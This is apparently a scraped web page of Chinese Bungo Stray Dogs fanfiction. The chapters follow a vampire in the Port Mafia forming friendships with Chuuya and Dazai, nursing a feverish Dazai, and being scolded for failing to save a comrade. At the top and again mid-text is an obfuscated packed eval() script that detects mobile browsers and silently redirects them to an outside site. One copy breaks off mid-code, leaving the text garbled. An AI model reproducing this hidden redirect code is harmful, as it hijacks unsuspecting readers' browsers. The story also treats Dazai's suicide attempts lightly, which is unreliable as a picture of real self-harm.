;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426956|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,太宰治的声音恢复了几分平时的冷淡。 但仔细听,那冷淡之下似乎还潜藏着一丝……仓促?仿佛急于切断这让他感到莫名不自在的通话。 “嘟嘟嘟——” 忙音响起,电话□□脆利落地挂断,没有给菲那恩任何再开口的机会。 菲那恩看着手中暗下去的手机屏幕,血红的眼眸里依旧盛满了纯粹的困惑。 他完全无法理解太宰治最后那古怪的反应和仓促挂断的行为。 他小声地、对着空气重复了一遍,仿佛在确认一个再简单不过的真理: “……就是很厉害啊。” 菲那恩垂眸,视线落在自己指尖——那里沾染着一点佐藤健一暗红粘稠的血迹。 血族的本能驱使着他,下意识地将指尖凑近鼻尖,轻轻嗅了一下。 “呃!” 菲那恩猛地别开头,胃部一阵剧烈的痉挛翻搅,几乎让他干呕出声。 他血红的瞳孔因极致的生理厌恶而骤然收缩,苍白的脸上瞬间褪去所有血色。 他像甩掉最致命的毒液般,迅速而用力地甩掉指尖那点污血,指尖甚至因为过度用力而微微颤抖。 菲那恩的心沉了下去,仿佛坠入冰冷的深潭。 对其他血液的排斥…… 这么久了,最近事也比较多,他都快忘了这一茬了。 他还是需要去确认一下这件事。 他需要一个答案。 他沉浸在这种不安,下意识地迈步走出弥漫着血腥和绝望气息的审讯室。 门外走廊冰冷的白炽灯光有些刺眼,空气似乎也清新了一些。 就在这时,一个高大的身影与他擦肩而过。 那人穿着沾了些灰尘的米色外套,一头略显凌乱的红发,步履沉稳,周身带着一种刚刚结束外勤任务的硝烟气息和一种奇特的、近乎平淡的温和感。 菲那恩的思绪被打断了一瞬,脚步却没有停顿,目光甚至没有在那人脸上聚焦,只捕捉到一个模糊的侧影和那抹鲜明的红发。 然而,就在擦肩的刹那—— 一股极其微弱、却如同烙印般无比熟悉的气息,如同投入平静水面的石子,精准地荡开了菲那恩的感知涟漪。 是太宰治的味道。 非常淡,不是刻意的标记,更像是……曾待在同一个密闭空间后留下的、如同背景音般的存在。 菲那恩的尖耳朵几不可察地动了一下,血红的眼眸终于朝那个红发男人的方向瞥去,带着一丝纯粹的不带情绪的确认。 他看到了对方的背影,宽厚,沉稳,正走向走廊的另一端。他甚至没兴趣去看清对方完整的侧脸。 “……织田,清理报告放我桌上就行。” 走廊尽头传来一个略显疲惫的声音。 “知道了。” 红发男人应了一声,声音低沉平稳,没有波澜。 织田……?菲那恩的脑海里闪过这个称呼,仅此而已。 确认了那丝属于太宰的气息来源——一个底层行动人员?或许是去汇报工作,或许是别的什么接触——他心中的疑惑并未加深,反而像随手拂开一粒微不足道的尘埃。 一个身上沾染了太宰气味的普通人类成员,在这庞大的组织里,再正常不过了。 菲那恩收回目光,不再关注那个名叫“织田”的红发男人。 与此同时,横滨某个信号被层层加密的地下安全屋。 费奥多尔戴着他不合季的白色绒毛帽子,苍白得近乎透明的手指,刚刚从一部造型古朴的加密通讯器上移开。 屏幕上最后一丝幽蓝的光线熄灭,映在他深紫色的、如同古老冰川裂隙般的眼眸深处。 他端坐在一张简陋的木椅上,姿态却如同端坐于审判者的席位,面前唯一的物品是一杯水。 “大人,佐藤已被港口Mafia捕获,落入太宰治之手,他……” 阴影中,一个声音恭敬地汇报着。 费奥多尔抬起手,用指尖做了一个极其轻微的下压动作,如同按下无形的琴键。 汇报声戛然而止。 他的唇角缓缓向上弯起,勾勒出一个毫无温度的弧度。 “无妨。” 他的声音低沉而柔和,如同寒夜教堂的钟声,带着一种奇异的安抚力,却只让阴影中的属下感到更深的寒意,“佐藤君……他完美地完成了他的使命——将那份小小的问候,自然地、不经意地带到了我们那位特殊客人的身边。” 费奥多尔并未端起水杯,只是用冰凉的指尖轻轻摩挲着光滑的杯壁。 “我们的目标,从来就不是佐藤健一,也不是那些无聊的走私网络。” 费奥多尔的声音带着一种近乎咏叹的专注,深紫色的眼眸中闪烁着洞悉一切的幽光,“港口Mafia的‘吸血鬼’,一个多么……美妙的种族。” 他的视线转向安全屋内唯一的光源——一块竖起的屏幕上,旁边放了一把手柄沾着些许灰的银色匕首,看起来就像是从某个爆炸废墟里翻出来的一样。 屏幕上反复播放着一段模糊、带着雪花噪点的监控录像。 画面来自菲那恩苏醒的那个拍卖场,这段监控明明已经被港口Mafia第一时间处理掉了,但老鼠……随处可在。 在混乱的镜头里,一个粉色长发的纤细身影在子弹的火光中一闪而过,血红的眼眸冰冷地扫过镜头,带着非人的漠然与力量。 费奥多尔凝视着屏幕上那张定格的脸庞,苍白的手指无意识地在膝盖上轻轻敲击着,终于,带着一种品鉴稀世珍宝般的、缓慢而清晰的语调,念出了那个名字: “菲……那……恩。” 29.朋友 夜色中的仓库区寂静无声。 菲那恩站在阴影里,樱粉色的和服在月光下泛着柔和的微光,与他此刻执行的冰冷任务格格不入。 他刚刚“送”走了一个试图在黑市倒卖港口Mafia情报的小组织头目,动作干净利落,没留下任何痕迹。 这似乎是他从中原中也手下“出师”后,独立完成的第……三件还是第四件暗杀任务了?他有点记不清了。 中也的训练堪称魔鬼式训练,但好在成效显著——至少现在,他能够单凭体术在中也手下勉强撑过一分钟了,体术和应对突发状况的能力都有了不少长进。 虽然中也对此的评价是“还差得远呢!”,但菲那恩能感觉到,那双钴蓝色眼睛里多了点不易察觉的认可。 最重要的是……他有了朋友! 朋友的意义对菲那恩非常不一样。 事情发生在训练结束的那一天,菲那恩感觉自己真的有学到很多东西,郑重地向中原中也道谢。 “啧……谢什么,训练你是我的任务。”他顿了顿,仿佛是为了让自己的话听起来更合理,又像是无意识地低声嘟囔了一句,声音不大,却清晰地钻进了菲那恩的耳朵,“……再说了,菲那恩,你姑且也算是我认可的家伙了,算是我的朋友了……总不能看着你太差劲丢我的脸吧。” 朋友……朋友! 这个词,瞬间穿透了菲那恩所有的思绪和认知。 菲那恩选择性听见了“认可”“朋友”两个词。 那双漂亮的赤红眼眸此刻难以置信地睁大了,一眨不眨地、紧紧地盯着中也。 所有的疲惫与疼痛,什么血族与人类的隔阂……在这一刻,全部被这个简单的词汇奇异地抹去了。 他活了好久好久……久到时间的概念都变得模糊,在漫长而冰冷的岁月里,“朋友”这个词遥远得如同传说,他从未想过。 人类和血族之间是“不是你死就是我活”的紧张关系,而作为这两个种族的混血儿,注定不会有朋友这种存在。 菲那恩一直认为自己的存在方式注定是永恒的孤独,也习惯了这种孤独。 可是现在,这个名为中原中也的人类,亲口说,他是他的……朋友? “……朋友?”菲那恩的声音很轻,带着一丝不易察觉的颤抖,重复着这个对他来说陌生无比的词汇。 他的眼睛肉眼可见地亮了起来,甚至罕见地露出了一个笑容,毫无阴霾甚至有点傻气。 菲那恩实在是不经常笑,倒不是他天生高冷不爱笑,只是活得久了,原来的世界也实在无趣,很少有事情能引起他的情绪波动,久而久之就忘了发自内心的笑是什么感受了。 而他自从到了这里,他真的可以很负责地说他的表情真的丰富了不少。 中原中也对上他那双写满了难以置信和喜悦的眼睛,顿时觉得不自在起来,耳根肉眼可见地变红了。 他粗声粗气地“嗯”了一声,迅速移开视线,语气更加暴躁地试图掩盖自己的窘迫:“啊……是啊,朋友!有什么好大惊小怪的!你这副样子是干嘛?!” 他实在受不了菲那恩那过于热烈的注视,忍不住吐槽道:“……太宰那家伙难道不算是你的朋友吗?” 在他看来,菲那恩和太宰的关系显然要更近得多。 菲那恩脸上的笑容瞬间凝固了,那双发光的眼眸里闪过一丝清晰的茫然和困惑。 他眨了眨眼,非常认真地思考了一下,然后摇了摇头,语气带着一种不确定: “太宰他好像……从来没有说过我们是朋友?” “……”中原中也彻底无语了,他瞪着菲那恩,一时之间竟然不知道该说什么好。 他扶了扶额,感觉跟这家伙沟通有时候真的需要非凡的耐心。 “你一定是个大笨蛋吧!”他终于没好气地吼道,试图用音量掩饰无语,“朋友这种东西,一般来说根本不需要特意说出来啊!是一种感觉!是看平时怎么做的!那家伙虽然是个混蛋,但他对你怎么样,你自己感觉不到吗?!” 菲那恩被他吼得缩了缩脖子,但眼神里的迷茫却渐渐散去,取而代之的是一种若有所思。 他回想起太宰治会在最开始冒犯他之后给他道歉,但后来会给他吹头发,会说他头发颜色漂亮,会给他做三明治,会夸他任务完成得好,会教他认字,会给他血喝……很多很多…… 原来……那样就是朋友了吗? 看着菲那恩似乎终于开窍了一点点的样子,中原中也无奈地叹了口气,最后扔下一句:“总之!以后好好相处就是了!” 说完,他几乎像是逃跑一样,大步流星地迅速离开了训练场,背影甚至带着点狼狈,仿佛再多待一秒就会被菲那恩那双过于纯粹的眼睛看得彻底暴露。 明明是吸血鬼,倒是越来越像……人了。中原中也在内心吐槽道。 菲那恩正在回公寓的路上,此刻他心中鼓胀着一种全新的、暖融融的情绪,急切地想要寻求一个确认。 他推开门的动作甚至比平时稍快了一些。 客厅里,太宰治比菲那恩先一步回家,正窝在沙发上,一如既往地沉迷于游戏屏幕的光影厮杀,手指灵活地按着手柄,听到开门声也只是懒洋洋地抬了下眼皮。 “回来了?”他随口问道,视线又回到了屏幕上,“任务顺利吗?” 菲那恩没有像往常一样直接回答“顺利”或者简单地“嗯”一声,而是径直走到沙发前,在太宰治面前站定,挡住了部分屏幕的光线。 太宰治操作的角色因为他的遮挡而失误,屏幕上出现了“GAME OVER”的字样。 他这才无奈地放下手柄,抬起头,看向今天似乎格外不同的菲那恩。 “怎么了?”太宰治挑了挑眉,鸢色的眼眸里带着一丝询问,“遇上麻烦了?还是……又饿了?” 他作势要起身,“今天可没提前准备‘点心’哦。” “不是。”菲那恩摇了摇头,粉色的长发随着动作轻轻晃动。 他微微抿了抿唇,似乎在组织语言,那双赤红的眼眸亮晶晶地、极其认真地注视着太宰治,带着一种不容错辨的期待和紧张。 他深吸了一口气,像是要宣布什么重大事情一样,声音清晰而直接地问道: “太宰,我们是朋友吗?” “……” 空气仿佛凝滞了一秒。< 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他与菲那恩对视了几秒,似乎在评估着什么。 最终,他轻轻地、几不可闻地叹了口气,嘴角重新勾起一个弧度,但这个笑容似乎比平多了点难以言喻的……或许是无奈,或许是别的什么。 他抬起手,用指尖随意地拨弄了一下菲那恩颊边散落的粉色发丝,动作带着一种连他自己都未曾察觉的熟稔。 “这种事情……”太宰治的声音恢复了些许慵懒,却不再带有明显的调侃,“难道不是显而易见的吗?” 他顿了顿,看着菲那恩那似乎一定要一个准确答案的表情,鸢色的眼眸里沉淀着某种复杂难辨的情绪,最终给出了一个清晰而肯定的答案: “当然是啊。” 这三个字落下,菲那恩眼中那点紧张瞬间烟消云散,取而代之的是一种难以抑制的欣喜,眼睛比之前听到中也承认时还要明亮数倍。 他露出了一个极大极灿烂的笑容,甚至能看到一点点尖尖的獠牙,整个人仿佛被瞬间注入了新的活力,连周身的气息都变了。 “嗯!”他用力地点头,声音里充满了雀跃和满足,“我知道了!” 太好了。 太宰说他们是朋友! 他真的有朋友了,还是一下子两个! 他不再打扰太宰治,心满意足地、几乎是飘着走向自己的房间,脚步轻快,嘴里甚至罕见地地哼起了不成调的小曲,那是在某个遥远过去、母亲曾哼过的摇篮曲的碎片旋律。 太宰治坐在沙发上,看着菲那恩仿佛中了头彩般的背影消失在房门后,听着那隐约传来的哼唱声,许久没有动作。 屏幕上的“GAME OVER”字样早已暗淡下去。 他静静地坐在那里,光影在他俊秀却时常笼罩着阴霾的脸上明明灭灭。 过了好一会儿,他才极轻地、自言自语般地低喃了一句,声音轻得如同叹息,消散在寂静的空气里: “……朋友吗。” 只是这一次,这个词里听不出丝毫的嘲讽或恶趣味,反而带着一种连他自己都未曾察觉的的温和。 30.太宰感冒 生活似乎暂时归于一种冰冷的平静。 直到—— “噗通!” 一声巨大的落水声打破了横滨某处海堤的宁静。 菲那恩甚至不用回头,就能闻到那熟悉无比的气息坠入了冰冷的海水。 他走到堤边,看着海里那个扑腾了两下就迅速放弃挣扎、开始优雅下沉的黑色身影,熟练地甩出早已备好的带钩绳索,精准地勾住那人的黑色大衣,然后像拖一条失去梦想的咸鱼一样,将湿漉漉的太宰治从海里捞了上来。 太宰治瘫在冰冷的堤岸上,咳出几口海水,黑色大衣湿透地贴在身上,更显身形瘦削。 一阵风风吹过,他控制不住地打了个哆嗦,随即就是一个响亮的—— “阿嚏!” 菲那恩低头,仔细观察着太宰治现在的状态。 太宰治苍白的脸颊泛着不正常的红晕,鸢色的眼眸因为呛了水而蒙着一层水汽,看起来……有点脆弱。 “啊……失败了……”太宰治的声音带着浓浓的鼻音和显而易见的遗憾,但随即又转向菲那恩,语气虚弱却依旧拖着调子,“这次的水流……不够湍急啊……下次得换个地方……” 菲那恩没理会他的自杀感言,突然伸出手,探了探他滚烫的额头。 好烫。 这似乎是……人类生病的表现? “你生病了,太宰。”菲那恩眼中不自觉地闪过一丝担忧。 “诶?有吗?”太宰治眨了眨湿漉漉的睫毛,试图装傻,但又一个不受控制的喷嚏出卖了他,“阿嚏!……大概是……海水有点凉?” 所以,港口Mafia五大干部之一的太宰治,因为第N次入水未遂,成功把自己作得发起了高烧。 菲那恩想了想,如果太宰没有那个让一切异能无效化的“人间失格”,他现在就可以就地画一个简单的传送法阵,瞬间把病人太宰送回家温暖的床上。 但此刻,他只能采取最原始的方法。 他转过身,背对着太宰治蹲下:“太宰,我背你回去,你需要立刻换掉湿衣服。” 太宰治难得没有嘴硬或调侃,老老实实地趴上了菲那恩的后背。 还好太宰治并不是很重,体型在同龄人中算是正常水平,只是菲那恩比现在的太宰治都矮不少,甚至还很瘦弱,显得太宰治整个人都像是将菲那恩紧紧圈在怀里一样。 太宰治湿透的身体冰冷,但透过薄薄的衣料,菲那恩能清晰地感受到他背部传来的异常滚烫的温度,冰火两重天,这种感觉很奇异。 太宰治似乎烧得有些迷糊了,脑袋无力地歪在菲那恩的颈窝,湿漉漉的黑色卷发蹭着菲那恩的皮肤,带来细微的痒意。 他滚烫的呼吸一下下吹拂在菲那恩的耳廓和颈侧。 走着走着,菲那恩忽然感觉到一只微凉的手,轻轻地抚摸上了他粉色发丝掩盖下,是他不同于人类的、微微尖翘的耳朵轮廓。 菲那恩的身体几不可查地僵硬了一瞬。 那指尖先是好奇地描摹着他耳朵的形状,从耳廓到耳尖,动作轻柔得像羽毛拂过。 一种陌生的、酥麻的电流感从那被触碰的点猛地窜开,顺着脊椎一路向下,让菲那恩几乎要打了个哆嗦。 他下意识地想偏头躲开,但想到背上的人正生着病,又强行忍住了,只是脚步微微顿了一下。 似乎是感觉到了他瞬间的僵硬和那异于常人的、弹性极好的柔软触感,那只手的主人——昏沉中的太宰治——仿佛找到了什么新奇的玩具。 他发出了一声模糊的、近乎呓语的轻笑,温热的气息更直接地喷在菲那恩敏感的耳廓上。 然后,在菲那恩完全没反应过来之前,他感觉到一个柔软、滚烫、却带着惊人湿意和力度的触感,轻轻地、含咬住了他敏感的耳尖。 “唔!太宰……” 菲那恩如同被一道细微的闪电击中,猛地停下了脚步,整个人都僵在了原地,赤红的眼眸在瞬间睁大,里面充满了震惊和难以置信的懵懂。 那感觉……太奇怪了…… 不仅仅是敏感处被触碰的刺激,更带有一种难以言喻的、亲密又越界的暧昧。 湿热的包裹感,牙齿轻轻碾磨的微妙压力,还有那喷在耳蜗深处的、带着太宰治独特气息的滚烫呼吸…… 一股强烈的热意“轰”地一下涌上他的脸颊和脖颈,甚至蔓延到了被咬住的耳尖,让那本就敏感的地方变得更是灼热异常,仿佛要燃烧起来。 他的心跳骤然失序,砰砰砰地撞击着胸腔。 就在这时,一声极其细微、短促、完全不受控制的呜咽声,从菲那恩紧咬的唇缝中漏了出来—— “呜……!” 那声音又轻又软,带着明显的颤音,像是一只被不小心踩到尾巴的小动物发出的、混合着惊吓和无措,与他平时的声线截然不同。 这声音似乎也惊动了昏沉中的太宰治,他含咬的力道松了一瞬,发出一个模糊的音节,滚烫的呼吸再次拂过那湿漉漉、红得快要滴血的耳尖。 菲那恩被自己发出的声音吓到了,立刻死死咬住下唇,脸颊爆红,恨不得把自己埋进地缝里! 他应该立刻把太宰扔下去吗? 还是应该警告他? 可是……他好像烧糊涂了,应该不是故意的吧? 菲那恩的大脑因为这突如其来的、过于刺激的“袭击”和自己那丢人的反应而陷入一片混乱,只能僵直地站在原地,感受着那酥麻战栗的感觉从耳尖蔓延至全身,手指无意识地收紧,攥住了太宰治的腿弯。 好在,太宰治似乎真的只是烧迷糊了下意识的迷惑行为。 他并没有进一步的动作,只是那样轻轻地含着、用牙齿无意识地磨蹭了片刻,仿佛在品尝什么新奇的水果软糖,随即似乎又耗尽了力气,松开了口,脑袋一沉,更深的埋进菲那恩的颈窝,呼吸变得沉重而均匀,像是又昏睡了过去。 那令人战栗的触感消失了,但残留的湿意、热度和那种古怪的酥麻感却清晰地烙印在那里,连同他自己发出的那声羞耻的呜咽,一起在他脑海里无限循环。 菲那恩站在原地,夜风吹过他发烫的耳尖和脸颊,带来一丝凉意,却吹不散他心中的惊涛骇浪和满脑子的问号以及……强烈的羞耻感。 他呆呆地站了好一会儿,才像是重新找回了对身体的控制权,机械地、同手同脚地继续朝着公寓的方向走去,只是步伐比之前僵硬了许多,连脖子都像是生了锈,完全不敢偏头。 公寓的门被菲那恩用肩膀顶开,他小心翼翼地侧身,将背上烧得迷迷糊糊的太宰治挪进屋,尽量轻手轻脚地将他放在客厅的沙发上。 太宰治瘫在沙发里,湿透的黑色大衣和西装外套像第二层皮肤一样黏在身上,不断滴着水,在昂贵的地毯上洇开深色的水渍。 他冷得微微发抖,脸颊却烧得通红,呼吸急促而灼热,看起来难受极了。 菲那恩看着他这副狼狈又脆弱的样子,赤红的眼眸里担忧更甚。 他犹豫了一下,伸出手,开始笨拙地试图帮太宰脱掉那身湿透的、沉甸甸的衣服。 冰凉的指尖碰到太宰治滚烫的皮肤时,对方似乎被这温差刺激得睫毛颤动了几下,原本涣散的鸢色眼眸勉强睁开一条缝,透出一点微弱的、不同于完全昏迷的清明。 “……别……”太宰治的声音嘶哑得几乎听不见,却带着一丝固执的拒绝,他无力地抬手,虚软地挡了一下,“……我自己……来……” 他挣扎着想要从沙发上起来,身体却因为高烧和虚弱而不听使唤,晃了一下。 菲那恩立刻伸手扶住他。 太宰治借着他的力道,摇摇晃晃地站直,几乎将全身重量都靠在了菲那恩身上。 他坚持要回卧室自己处理湿衣服和绷带,那种偏执的坚持,即使在神志不清的情况下也异常鲜明。 菲那恩抿了抿唇,虽然不放心,但还是支撑着他,慢慢地将这个逞强的病号挪进了卧室,让他靠在床边。 “出去……”太宰治喘着气,额角渗出细密的冷汗,眼神有些失焦,但语气却不容置疑。 “……好吧。”菲那恩看了他一眼,确定他暂时不会倒下,才沉默地退出了卧室,并轻轻带上了门。 他站在门外,尖耳敏锐地捕捉着里面传来的、极其缓慢的窸窣声,以及压抑的咳嗽和喘息。 趁着着这个时间,菲那恩打开了自己的那部加密手机,屏幕冷光映在他认真的脸庞上。 他开始急切地搜索: 【人发高烧会不会死?】 【人类发高烧该怎么办?】 【物理降温的正确方法】 【发烧应该盖被子还是散热?】 【高烧病人吃什么食物恢复快?】 搜索结果琳琅满目:白粥、姜茶、蜂蜜水、清淡的食物、补充维生素、注意保暖、物理降温…… 菲那恩看着这些词汇,陷入了迷茫。 啊……有些字看不懂…… 但好在他记住了关键词。 粥……姜……蜂蜜…… 这时,卧室里的动静彻底消失了,只剩下沉重而均匀的呼吸声。 菲那恩轻轻推开卧室门。 太宰治已经换上了一身干爽的深色睡衣,湿透的绷带似乎也被更换过,虽然缠绕得比平时凌乱许多。 他陷在柔软的枕头和被褥里,陷入了昏睡。 然而,他脸颊上的红晕不仅没有消退,反而看起来更加红了,眉头紧蹙,嘴唇干涩,显然依旧非常不舒服。 菲那恩悄声走到床边,再次伸手探了探他的额头——温度比刚才更高了!那滚烫的触感让他指尖一缩。 首先,他决定物理降温。 他打来一盆温水,浸湿毛巾,然后……过于实诚地、几乎是用擦亮武器的力道,开始给太宰治擦拭额头和脸颊。 昏沉中的太宰治被擦得脑袋左右晃动,差点以为自己在受刑,虚弱地抗议:“唔……轻点……菲那恩……这是脸……不是地板……” 菲那恩动作顿住,看了看毛巾,又看了看太宰治被擦得发红的脸,似懂非懂地放轻了力道,但动作依旧僵硬笨拙。 接着,是补充水分和食物。 菲那恩走进厨房,视死如归。 白粥计划:他记得要“米和水一起煮”。 结果……水放得太少,米放得太多,最后煮出了一锅介于干饭和锅巴之间的、坚硬焦糊的产物,锅底还传来不妙的焦味。 姜茶计划:他找到了一块姜,想了想,整块扔进了水里煮,煮出来的水辛辣刺鼻,颜色诡异,喝一口就能让人瞬间清醒,完全没有甜味可言。 蜂蜜水计划:他找到了蜂蜜,但不确定放多少,于是……倒了小半杯蜂蜜,然后加了一点点水搅匀,成果是一杯浓稠到勺子都能立起来的、甜到发苦的“蜂蜜浆”。 他端着这些“战利品”,眼神坚定又带着点期待地来到太宰治床边。 “太宰,喝点蜂蜜水吧。”他先递上那杯恐怖的蜂蜜浆。 太宰治勉强清醒,起来喝了一口,瞬间被那齁死人的甜味呛得剧烈咳嗽起来,眼泪都快出来了:“……这……这是直接吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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粉色的长发有些凌乱地铺散在深色的床单上,长而密的白色睫毛安静地垂着,在眼下投出柔和的阴影。 他侧着脸,一边柔软的脸颊正毫无防备地、完全依赖地压在他的手掌上,睡得正沉,呼吸均匀绵长,看起来累坏了。 太宰治试着动了动手指,那强烈的麻木感让他忍不住蹙了下眉。 他极其缓慢地、小心地将自己的手从菲那恩的脸蛋下抽了出来。 整个过程,菲那恩只是无意识地咂了咂嘴,蹭了蹭床,丝毫没有醒来的迹象。 太宰治坐起身,靠在床头,轻轻活动着终于恢复血液流通、依旧带着刺痛感的右手。 他感受了一下自身的状况,那股几乎要烧干理智的高热已经退去,虽然身体依旧有些虚弱乏力,额头也还残留着一点低烧的余温,但比起之前那种仿佛置身熔炉的感觉,已经好太多了。 他的目光落在床边地毯上那盆已经变温的水和歪倒的毛巾上,又看向床边睡得毫无形象的菲那恩。 这家伙……不会就这么守了一夜吧? 太宰治鸢色的眼眸里闪过一丝极其复杂的情绪,快得难以捕捉。 他盯着菲那恩的睡颜看了几秒,似乎迟疑了一下,最终还是掀开被子,轻手轻脚地下了床。 尽管身体还有些发软,但他还是弯下腰,小心翼翼地将熟睡中的菲那恩打横抱了起来。 菲那恩很轻,抱在怀里几乎没什么分量。 他似乎感觉到了移动,在太宰治怀里不安地动了动,发出一声细微的、带着鼻音的哼唧,像只被惊扰的小动物,但终究没有醒来。 太宰治将他轻轻放到自己刚才还躺着的、尚且残留着体温的床上,拉过被子,盖到他下巴处,只露出那张看起来睡得很香的脸。 做完这一切,太宰治才觉得一阵虚弱感袭来,微微喘了口气。 他走到衣柜前,从里面拿出一件柔软的、宽大的深色长外套,随意地披在睡衣外面。 慵懒的款式和他此刻略显苍白虚弱的状态奇异地融合,反而勾勒出一种别样的魅力。 他穿上拖鞋,走出卧室,想去厨房找点水喝,顺便找退烧药和感冒药。 然后,他就看到了厨房操作台上那一片狼藉的“战后现场”。 太宰治的脚步顿住了。 他盯着那堆灾难性的产物,脑海中一些模糊的、断断续续的画面逐渐串联起来——滚烫的毛巾粗暴的擦拭、齁死人的甜水、辛辣刺喉的液体…… “……噗。” 一声极其轻微的、带着难以置信和浓浓无奈的笑声从太宰治苍白的唇间逸出。 他无奈扶额,低声道:“……真是个不省心的笨蛋啊……” 他常年自杀,发烧生病不是少事,因此家里医药箱其实常备有各种药,这个活了不知道多少年的吸血鬼,居然选择用这种堪称生化武器的方式來“照顾”病人? 他摇了摇头,走到储物柜前,熟练地找出药箱,抠出几粒药片,就着冷水吞了下去。 冰凉的液体滑过喉咙,缓解了那里的干涩灼痛。 吃完药,他靠在厨房的操作台边,目光再次扫过那堆“菲那恩特制病号餐”,鬼使神差地拿起一块疑似锅巴的“粥”,咬了一口。 味道不算特别难吃,但硬邦邦的,口感不好,难以下咽。 太宰治在心中默默总结,他像突然想起什么似的,微微一顿,指尖无意识地捻了捻。 “……不过,耳朵的口感……倒是意外的不错。” 32.被骂 太宰还在休他的“病假”,菲那恩今天的任务是跟着中原中也出一个火并的任务,来实战练习一下太宰教他的枪法。 他才不会说,自己其实都快忘了怎么用枪。 才刚刚结束体术强化训练不久,他可不想再来一个训练。 横滨的午后阳光毒辣,对于厌恶阳光的菲那恩来说,每一秒都像是在接受酷刑。 他跟在中原中也身后,樱粉色的和服在这种环境下显得格外扎眼,但他也懒得换了。 中原中也倒是行动如风,钴蓝色的眸子锐利地扫视着战场,指挥着下属突击、掩护。 他的攻击有力而精准,但菲那恩注意到,每一次有下属陷入危险,那道黑色的身影总会以不可思议的速度及时出现,或是用重力弹开子弹,或是直接将人拽离爆炸范围。 菲那恩虽然从来没有见过太宰治带属下执行任务是怎样的场面,但听底层人员聊天有小心翼翼地提起过——那位不可言说的大人执行任务的手段十分暴虐,令人胆寒。 不是人暴虐,而是手段暴虐。 菲那恩直觉那位不可言说的大人应该就是太宰。 下一秒,菲那恩强迫自己回过神来,毕竟连他都能感觉到中也的注意力似乎有点过于分散了。 不过鉴于中也强大的实力,对上这种级别敌人,注意力分散也游刃有余。 所以其实,这次来参与这场火并的貌似都是新人? 菲那恩被游戏和电影污染过的脑子一瞬间就做出了合理的转联想。 森首领=发任务的npc,火并=新手村任务,他们=萌新玩家,中也=带领玩家的导师。 他甩了甩脑袋,定了一下心神,专心拿着手枪瞄准敌人。 “啧,麻烦!”中也一边踹飞一个敌人,一边不忘对身边一个略显稚嫩的新人吼道,“蠢货!别冒进!” 那新人吓得一缩脖子,连忙点头,看向中也的眼神里充满了敬畏和……依赖。 菲那恩老是打不中人,渐渐地注意力也被中也的大嗓门吼散了。 那个新人,他有点印象,似乎叫阿卓,之前给他递过水,笑容有点憨,但很真诚。 中也好像还挺看重他。 战斗逐渐进入白热化,流弹横飞,异能者的加入让菲那恩也没心思发呆了。 菲那恩开始偷偷操控石子攻击敌人,威力和子弹差不多,而且还百发百中。 就在这时,一个埋伏在对面二楼窗口的狙击手,悄无声息地锁定了因为救援另一名同伴而暴露在掩体外的阿卓。 菲那恩的尖耳捕捉到了那细微的扳机扣动前的预压声,他的视线甚至能清晰地看到狙击镜的反光和瞄准线尽头那个年轻人毫无所觉、写满紧张的后背。 要……救他吗? 只需要动动手指,用一颗小石子干扰一下狙击手的视线,或者更快地,用超越人类视觉的速度把那个傻小子往后拉一把。 这个念头在菲那恩脑海中只存在了零点一秒,他随即就意识到自己以前从来不会有这样的想法。 就算救人,也是听到命令去做罢了,这毕竟是加入□□的约定。 几百年的血族生涯,见惯了背叛、杀戮和冷漠,菲那恩早已习惯了旁观死亡,甚至有时候还亲手制造死亡。 此时此刻,他该去救吗……? 弱者被淘汰,是再自然不过的法则。 保护下属是中原中也的责任,不是他的。 这个人和他只是打过照面而已,跟他又没有任何关系…… 菲那恩手指无意识地收紧,他看不到自己赤红的眼眸里泛起的一丝波澜。 千钧一发之际! “砰!” 一道黑影如同炮弹般掠过。 ——是中原中也。 他几乎是凭借着野兽般的直觉,在子弹出膛的瞬间,用比子弹更快的速度,将子弹踹飞。 “混蛋!”中也低骂一声,迅速抱着惊魂未定的阿卓翻滚到坚实的掩体后。 战斗很快结束,敌人被尽数歼灭。 硝烟尚未散去,中原中也猛地站起身,大步流星地走到一直很安静的菲那恩面前。 毫无预兆地,他一把狠狠揪住了菲那恩的衣领,力道之大,几乎将菲那恩整个人提离地面。 “喂!你这家伙!”中也钴蓝色的眼睛里燃烧着熊熊怒火,声音因为不想让其他人注意到而压得极低,但却像即将喷发的火山,“你刚才明明看见了!对不对?!你明明可以救他!为什么不动?!” 菲那恩被这突如其来的袭击和质问弄得懵了一瞬,衣领勒得他有些不舒服,更多的是的被他自己强行唤起的、被冒犯的恼怒,就像是要证明什么东西一样。 人类,竟然敢这样粗暴地对他? 他赤红的眼眸与中原中也强压着怒意的钴蓝色眼眸对视着,属于血族的冰冷威压刻意地就要弥漫开来。 但下一秒,中也那愤怒到几乎喷火的眼神,那里面毫不掩饰的、对同伴生命的紧张和对他“见死不救”的强烈不满,像一把烧红的烙铁,猛地烫在了他冰封的心上。 “他也算是你的同伴吧?!就算不是,眼睁睁看着别人去死就是你想要的吗?!” 中也刻意压低了声音的怒吼像惊雷一样在他耳边炸开。 “——你到底有没有心?!” 菲那恩准备反击的冰冷话语卡在了喉咙里。 他赤红的眼眸中,闪过一丝连自己都未曾预料到的怔忪。 心? 他当然有,它在他胸腔里缓慢而有力地跳动。 但中也问的,显然不是这个。 包裹着他人性、厚重到连他自己都以为早已坚不可摧的冰壳,在这一刻,被这纯粹而炽热的怒火,猛地敲出了一道清晰的裂缝。 冰壳之下,某种被遗忘的、属于“人”的部分,似乎被烫得瑟缩了一下。 他先是感到一阵荒谬和恼怒,觉得中原中也不可理喻。 明明跟他没有关系吧?如果那个人是太宰,或是中也他自己,他肯定不会犹豫,因为他们是他重要的朋友。 